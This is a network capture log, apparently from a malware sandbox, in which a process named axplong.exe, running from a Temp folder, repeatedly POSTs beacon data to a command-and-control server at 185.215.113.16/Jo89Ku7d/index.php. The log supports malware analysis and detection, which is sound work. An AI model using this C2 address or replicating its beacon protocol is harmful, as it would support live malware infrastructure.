Sep 27, 2024 01:29:38.795332909 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:39.019455910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49739	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:39.189030886 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:39.890763044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:39.892138958 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:40.119652033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49740	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:40.227973938 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:40.935679913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:40.936345100 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:41.162904024 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49741	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:41.278381109 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:41.972136974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:41.973299026 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:42.197624922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49742	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:42.306026936 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:43.004071951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:43.004837990 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:43.229008913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49743	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:43.337554932 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:44.065453053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:44.066224098 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:44.306499958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49744	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:44.415405035 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:45.108756065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:45.110018969 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:45.394546986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 27, 2024 01:29:45.621578932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49745	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:45.623291969 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:46.332021952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:46.332782030 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:46.561079979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49746	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:46.680819035 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:47.392909050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:47.393826008 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:47.619889021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49747	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:47.729902983 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:48.442359924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:48.455399990 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:48.859441042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49748	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:48.979027033 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:49.678456068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:49.679280043 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:49.902822971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49749	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:50.024514914 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:50.728672028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:50.729564905 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:50.959990025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49750	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:51.090655088 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:51.789194107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
